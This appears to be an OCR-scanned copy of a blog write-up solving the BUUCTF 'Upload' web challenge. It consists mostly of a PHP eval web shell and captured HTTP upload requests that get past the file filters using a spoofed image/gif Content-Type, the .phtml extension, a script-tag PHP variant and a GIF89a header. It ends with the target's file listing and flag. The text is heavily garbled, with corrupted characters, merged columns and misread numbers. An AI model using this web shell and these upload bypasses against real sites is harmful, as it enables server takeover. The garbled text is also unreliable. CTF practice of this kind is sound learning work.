buuctf web # K#kii%2019 Upload

FEthan552525 o F 2021-09-12 17:1024 KA o 137 ﬁ Wi 1
3% EH: BUUCTE XEHR%E:  php html web
BRALEE B . ASCATE R EAICE, B8 CC 4.0 BY-SA BN, #H8RiEM EESCH B4 S,

ASCHERE: httpsy/blog.csdn.net/Ethan552525/article/details/120050487
WA

BUUCTF £ #=

13 /3CE 09T 1
ITREE

A H -

22

%

K Bl sosiEmscit

R -
1. E&“—@EARD " H
%4 X #Fa.php:

<?php @eval($_POST['shell']);?>
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1 POST /upload_file.php HTTP/1.1

2 Host: da9b2577-25a8-42d6-827f-2c7f2cleabbc.node4.buuoj.cn:81

3 Content-Length: 316

4 Cache-Control: max-age=0

5 Upgrade-Insecure-Requests: 1

6 Origin: http://da9b2577-25a8-42d6-827f-2c7f2cleabbc.noded4.buuoj.cn:81

7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZR3uD1IkvbRWIFqF

8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/90.0.4430.212 Safari/537.36

9 Accept:
text/html, application/xhtml+xml, application/xml;g=0.9,image/avif, image/webp, image/apng, */*;q=0
.8,application/signed-exchange;v=b3;q=0.9

10 Referer: http://da9b2577-25a8-42d6-827f-2c7f2cleabbc.noded4.buuoj.cn:81/

11 Accept-Encoding: gzip, deflate

12 Accept-Language: zh-CN, zh;q=0.9

13 Connection: close

14

15 ------ WebKitFormBoundaryZR3uD1IkvbRWIFqF

16 Content-Disposition: form-data; name="file"; filename="a.php"

17 Content-Type: application/x-php

18
19 <?php @eval($_POST['shell']);?>
20 ------ WebKitFormBoundaryZR3uD1IkvbRWIFqF
21 Content-Disposition: form-data; name="submit"
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24 ------ WebKitFormBoundaryZR3uD1IkvbRWIFgF - -
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1 POST /upload_file.php HTTP/1.1 43 new Vidage('#VidageVideo');
2 Host: da9b2577-25a8-42d6-827f-2c7f2cleabbc.node4.buuoj.cn:81 44 </script>
3 Content-Length: 308 45 </br>
4 Cache-Control: max-age=0 </br>
5 Upgrade-Insecure-Requests: 1 </br>
6 Origin: http://da9b2577-25a8-42d6-827f-2c7f2cleabbc.node4 . buuoj.cn:81 </br>
7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZR3uD1IkvbRWIFqF </br>
8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) </br>
Chrome/90.0.4430.212 Safari/537.36 </br>
9 Accept: </br>
text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp,image/apng, */*;q=0 </br>
.8,application/signed-exchange;v=b3;q=0.9 </br>
0 Referer: http://da9b2577-25a8-42d6-827f-2c7f2cleabbc.node4.buuoj.cn:81/ </br>
1 Accept-Encoding: gzip, deflate </br>
2 Accept-Language: zh-CN, zh;q=0.9 </br>
3 Connection: close </br>
4 </br>
5 -een-- WebKitFormBoundaryZR3uD1IkvbRWIFqF 46 <div class="error">
6 Content-Disposition: form-data; name="file"; filename="a.php" 47 <strong>
7 Content-Type: image/gif 48 NOT ! php!
8 </strong>
9 <?php @eval($_POST['shell']);?> 49 </div>
0 ------ WebKitFormBoundaryZR3uD1IkvbRWIFqF 50
1 Content-Disposition: form-data; name="submit" 51
2 52 <div style="position: absolute;bottom: 0;width: 95%; ">
3 B <p align="center" style="font:italic 15px Georgia,serif;">
4 oo WebKitFormBoundaryZR3uD1IkvbRWIFqF - - Syclover @cl4y
5 </p>
</div>
53 </body>
54 </html>
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1 POST /upload_file.php HTTP/1.1 43 new Vidage( '#VidageVideo');
2 Host: da9b2577-25a8-42d6-827f-2c7f2cleabbc.node4.buuoj.cn:81 44 </script>
3 Content-Length: 310 45 </br>
4 Cache-Control: max-age=0 </br>
5 Upgrade-Insecure-Requests: 1 </br>
6 Origin: http://da9b2577-25a8-42d6-827f-2c7f2cleabbc.node4.buuoj.cn:81 </br>
7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZR3uD1IkvbRWIFqF </br>
8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) </br>
Chrome/90.60.4430.212 Safari/537.36 </br>
9 Accept: </br>
text/html, application/xhtml+xml, application/xml;q=6.9,image/avif, image/webp, image/apng, */*; q=0 </br>
.8,application/signed-exchange;v=b3;q=0.9 </br>
L0 Referer: http://da9b2577-25a8-42d6-827f-2c7f2cleabbc.node4.buuoj.cn:81/ </br>
L1 Accept-Encoding: gzip, deflate </br>
12 Accept-Language: zh-CN, zh;q=0.9 </br>
L3 Connection: close </br>
14 </br>
[ PE— WebKitFormBoundaryZR3uD1TkvbRWIF gF 46 <div class="error">
L6 Content-Disposition: form-data; name="file"; filename="a.phtml" 47 <strong>
L7 Content-Type: image/gif 48 NO! HACKER! your file included '&#x3C;&#x3F; '
18 </strong>
L9 <?php @eval($_POST['shell']);?> 49 </div>
20 ------ WebKitFormBoundaryZR3uD1IkvbRWIFqF 50
1 Content-Disposition: form-data; name="submit" 51
22 52 <div style="position: absolute;bottom: 0;width: 95%; ">
23 B3 <p align="center" style="font:italic 15px Georgia,serif;">
|2 . WebKitFormBoundaryZR3uD1IkvbRWIFqF - - Syclover @ cl4y
)5 </p>
</div>
53 </body>
54  </html> CSDN @Ethans525
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1 POST /upload_file.php HTTP/1.1 43 new Vidage('#VidageVideo');
2 Host: 4a46933f-3f6c-4946-8725-44c2ac48ele5. noded . buuoj.cn:81 44 </script>
3 Content-Length: 333 45 </br>
4 Cache-Control: max-age=0 </br>
5 Upgrade-Insecure-Requests: 1 </br>
6 Origin: http://4a46933f-3f6c-4946-8725-44c2ac48ele5.node4.buuoj.cn:81 </br>
7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3dUZn4T1X0WWpkNG </br>
8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) </br>
Chrome/90.0.44360.212 Safari/537.36 </br>
9 Accept: </br>
text/html, application/xhtml+xml, application/xml;q=0.9,image/avif, image/webp,image/apng, */*; q=0 </br>
.8,application/signed-exchange;v=b3;q=0.9 </br>
10 Referer: http://4a46933f-3f6c-4946-8725-44c2ac48ele5.node4.buuoj.cn:81/ </br>
11 Accept-Encoding: gzip, deflate </br>
12 Accept-Language: zh-CN, zh;q=0.9 </br>
13 Connection: close </br>
14 </br>
15 ---n-- WebKitFormBoundary3dUZn4T1XOWWpkNG 46 <div class="error">
16 Content-Disposition: form-data; name="file"; filename="a.phtml" 47 <strong>
17 Content-Type: image/gif 48 Don't lie tome, it's not image at all!!!
18 </strong>
19 <script language='php'>@eval($_POST['cmd']);</script> 49 </div>
20 50
21 ------ WebKitFormBoundary3dUZn4 T1XOWWpkNG 51
22 Content-Disposition: form-data; name="submit" 52 <div style="position: absolute;bottom: 0;width: 95%; ">
23 <p align="center" style="font:italic 15px Georgia, serif;">
24 BR Syclover @ cl4y
25 ------ WebKitFormBoundary3dUZn4T1XOWWpkNG - - </p>
26 </div>
53 </body>
54 </html>
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1 POST /upload_file.php HTTP/1.1 43 new Vidage('#VidageVideo');
2 Host: da9b2577-25a8-42d6-827f-2c7f2cleabbc.node4.buuoj.cn:81 44 </script>
3 Content-Length: 340 45 </br>
4 Cache-Control: max-age=0 </br>
5 Upgrade-Insecure-Requests: 1 </br>
6 Origin: http://da9b2577-25a8-42d6-827f-2c7f2cleabbc.node4.buuoj.cn:81 </br>
7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZR3uD1IkvbRWIFqF </br>
8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) </br>

Chrome/96.0.4430.212 Safari/537.36 </br>
9 Accept: </br>

text/html, application/xhtml+xml, application/xml;q=0.9,image/avif, image/webp, image/apng, */*;q=0 </br>

.8,application/signed-exchange;v=b3;q=0.9 </br>
0 Referer: http://da9b2577-25a8-42d6-827f-2c7f2cleabbc.node4.buuoj.cn:81/ </br>
1 Accept-Encoding: gzip, deflate </br>
2 Accept-Language: zh-CN, zh;q=0.9 </br>
3 Connection: close </br>
4 </br>
5 ------ WebKitFormBoundaryZR3uD1IkvbRWIFqF 46 <div class="error">
6 Content-Disposition: form-data; name="file"; filename="a.phtml" 47 <strong>
7 Content-Type: image/gif 48 EfexX#E: a.phtml<br>
8 </strong>
9 GIF89al 49 </div>
'0 <script language="'php'>@eval($_POST['cmd']);</script> 50
1o WebKitFormBoundaryZR3uD1IkvbRWIFqF 51
12 Content-Disposition: form-data; name="submit" 52 <div style="position: absolute;bottom: 0;width: 95%; ">
'3 <p align="center" style="font:italic 15px Georgia,serif;">
4R Syclover @ cl4y
5 ------ WebKitFormBoundaryZR3uD1IkvbRWIFgF - - </p>
'6 </div>

53 </body>
54 </html> CSDN @Ethanss2525
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http://4a46933f-3f6c-4946-8725-44c2ac48e1e5.node4.buuoj.cn:81/upload/a.phtml
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= bin R
= boot [ etc 2021-08-02 14:06:09 66 b 0755
M data (3 home 2014-04-10 22:12:14 6b 0755
M dev O lib 2016-07-11 23:23:25 208 b 0755
M etc 0 libs4 2016-07-11 23:23:12 34b 0755
B home (O media 2016-07-11 23:22:49 6b 0755
. b O mnt 2014-04-10 22:12:14 6b 0755
M libe4

O opt 2016-07-11 23:22:49 6b 0755
M media
_— O proc 2021-08-02 14:06:10 0b 0555
M opt 3 root 2016-07-11 23:23:35 37b 0700
M proc 0O run 2019-11-19 09:30:15 33b 0755
M root (3 sbin 2016-07-22 15:18:57 44b 0755
M run O s 2016-07-11 23:22:49 6b 0755
I sbin 0 sys 2021-06-14 01:12:31 0b 0555
. srv O tmp 2021-08-02 14:06:12 6b 1777
. sys 0 usr 2016-07-22 15:18:57 81b 0755
M tmp

0o var 2019-11-19 09:28:18 28b 0755
b usr

[ .dockerenv 2021-08-02 14:06:09 O0b 0755

[ flag 2021-08-02 14:06:12 43b 0644
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